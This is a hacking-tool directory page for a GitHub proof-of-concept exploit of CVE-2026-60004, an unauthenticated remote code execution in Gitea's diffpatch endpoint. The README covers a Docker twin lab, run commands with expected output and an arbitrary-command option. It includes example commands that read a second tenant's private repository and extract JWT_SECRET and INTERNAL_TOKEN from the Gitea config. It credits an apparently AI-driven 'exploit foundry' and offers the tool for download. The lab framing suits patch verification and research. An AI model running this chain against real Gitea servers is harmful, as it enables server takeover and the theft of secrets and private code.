Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
B63-POC-CVE-2026-60004 — CVE-2026-60004 (Gitea): unauth RCE via diffpatch add/add collision -> live git hook in bare temp clone (KEV) — b63 showcase, lab-verified with patched + unaffected negatives | Kitploit
Tools/GitHubGitHub/basesixtythree/b63-poc-cve-2026-60004
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload DevelopmentLabs & Practice
GitHub
basesixtythree/b63-poc-cve-2026-60004

B63-POC-CVE-2026-60004

CVE-2026-60004 (Gitea): unauth RCE via diffpatch add/add collision -> live git hook in bare temp clone (KEV) — b63 showcase, lab-verified with patched + unaffected negatives

View Repository
218 days agoNot yet reviewed
Share

B63-POC-CVE-2026-60004 — Gitea diffpatch RCE

Verification level: VERIFIED (in-container lab; command execution as the Gitea service account git demonstrated 10/10 across both exploit variants; 1.27.1 negative 0/5; 1.16.9 negative 4/4; cold rebuild 4/4 + 6/6.)

Produced by the b63 capability-validation program's pair-009 deepseek-v4.1-flash track. Full delivery history, review-gate notes, and reproducible evidence are kept in the internal record; this repository carries the public-ready subset: two exploit drivers (optimized + readable), the lab recipe and compose twins (vulnerable 1.27.0 / patched 1.27.1 / unaffected 1.16.9), the frozen evidence transcripts (evidence/), and the deep writeup.

Repository map

PathRole
exploit_opt.py / exploit_readable.pythe two exploit drivers (python3 stdlib only)
b63_probe.pyreachability probe (no exploit; read-only)
lab/compose.yml3-twin lab (vuln / patched / unaffected)
lab/make_victim.py, lab/trigger_check.pyrecipe fixtures for max-impact evidence
writeup.mdroot cause, chain mechanics, honest impact limits
lab-recipe.mdfull environment recipe
evidence/frozen verify transcripts, INDEX.txt, publication-redaction notes
STATE.mdrun state (scrubbed paths)
KNOWN-GAPS.mddeliberate gaps kept public

Only the lab twins, loopback, and this repository's own drivers are exercised here — pull, build, run, verify. Nothing else is in scope.

CVE-2026-60004 -- README

[b63] b63 -- Agentic Exploit Foundry

Gitea diffpatch Git-hook RCE -- twin lab, two exploit variants

Verification: VERIFIED

Unauthenticated remote code execution against Gitea < 1.27.1 via POST /api/v1/repos/{owner}/{repo}/diffpatch. See writeup.md for the root cause and lab-recipe.md for the full environment.

Requirements

  • docker + docker compose (lab only)
  • python3 (stdlib only -- no pip installs, no third-party packages)
  • 67 MB compressed download / ~267 MB unpacked per Gitea image

1. Build and start the lab

cd 02_lab
docker compose up -d
# wait until both services are (healthy)
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:3000/api/healthz   # 200
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:3001/api/healthz   # 200
TwinVersionURLRole
cve-2026-60004-vulnGitea 1.27.0http://127.0.0.1:3000vulnerable
cve-2026-60004-patchedGitea 1.27.1http://127.0.0.1:3001patched negative

Optional: create the second-tenant fixture used for the cross-tenant impact evidence (registers a separate user with a PRIVATE repo):

python3 lab/make_victim.py http://127.0.0.1:3000

All fixture files share one baked-in self-registration password, B63lab!pass123: make_victim.py and trigger_check.py register with it, and b63_probe.py, like the drivers, uses it as the --password default. It is a lab-only convenience default for the loopback twins -- harmless here, valid nowhere else.

2. Run the exploits

Both variants do the same thing and print the command output on stdout:

# maximum efficiency
python3 exploit_opt.py \
    --url http://127.0.0.1:3000 --cmd 'id'

# maximum clarity
python3 exploit_readable.py \
    --url http://127.0.0.1:3000 --cmd 'id'

Expected against the vulnerable twin:

uid=1000(git) gid=1000(git) groups=1000(git),1000(git)

Useful options (identical in both variants):

OptionMeaning
--urltarget base URL (default http://127.0.0.1:3000)
--cmdcommand to execute on the target (default id)
--user / --passwordreuse an existing account instead of registering one
--timeoutseconds to wait for the output branch (default 15)
--cleanupdelete the repository created by this run afterwards

Cross-tenant / secret examples (lab paths):

python3 exploit_opt.py --url http://127.0.0.1:3000 \
  --cmd 'git --git-dir=/data/git/repositories/b63victim/vpriv.git show HEAD:board-minutes.txt'

python3 exploit_opt.py --url http://127.0.0.1:3000 \
  --cmd 'grep -E "^(JWT_SECRET|INTERNAL_TOKEN)" /data/gitea/conf/app.ini'

3. Confirm the patch holds

python3 exploit_opt.py --url http://127.0.0.1:3001 --cmd 'id'

Expected: no output, exit code 13. Nothing was executed in the patched container; the twin's log shows the second apply being refused at the three-way stage:

docker logs cve-2026-60004-patched 2>&1 | grep -i "git apply error"

4. Exit codes (same table in both drivers)

CodeMeaning
0Command executed; output printed
10Transport failure: unreachable target, or malformed URL scheme (a non-HTTP --url surfaces as unknown url type, exit 10 observed)
11Registration failed -- open signup disabled and no --user given
12Repository creation failed (auth or permission)
13The diffpatch call was rejected -- patched build, or another control intervened
14Both applies succeeded but no output was recovered within --timeout

Exit 13 and exit 14 mean different things and should not be conflated: 13 is the patched shape on 1.27.1, 14 would mean the patch applied but the hook did not run -- which, on a build whose temp clone really is bare, would point at a precondition outside this chain (hooks disabled, unusual core.hooksPath).

Exit 11 carries one honest limitation: signup success is judged on the final HTTP 200 of the form POST (the trigger is judged post-redirect, on the response after Gitea's redirect), and a registration-closed instance answers that POST by re-rendering the signup form with the same 200. The signup stage therefore reads as fine and the run only fails at repo creation -- against an instance with registration closed, a run that should report exit 11 can instead be mislabelled exit 12. Pass --user/--password there, as section 5 says.

5. Notes and limits

  • The chain uses open registration, which is Gitea's default. With registration closed, pass --user and --password for any account that can write a repository: the RCE still works, the "unauthenticated" framing does not.
  • Execution is as the Gitea service account (uid 1000 git), not root.
  • The HTTP status of the diffpatch call is never used as a success signal -- the vulnerable build answers 201 twice. Success is the output branch appearing.
  • Lab only: the drivers are written against loopback lab ports and the lab's known paths. Nothing in this bundle targets a third-party system.

6. Teardown

cd 02_lab && docker compose down -v

7. Layout

00_triage/triage.md              go/no-go, sources, classification
research-notes/advisory.md          automated advisory fetch
research-notes/deep-diffpatch-hook.md  mechanism model, sources, gap list
research-notes/src/gitea/           vendor source tags v1.27.0 + v1.27.1
lab/compose.yml               the twin lab
lab/lab-recipe.md             build/run/teardown recipe
lab/make_victim.py            second-tenant fixture
lab/trigger_check.py          reachability fixture (no exploit)
.//          efficiency variant
.//     clarity variant
b63_probe.py          development probe (chain shape, not a deliverable)
evidence/                       captured transcripts + INDEX.txt
                      this bundle
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    287

Explore all tools

Browse our collection of tools

View all tools →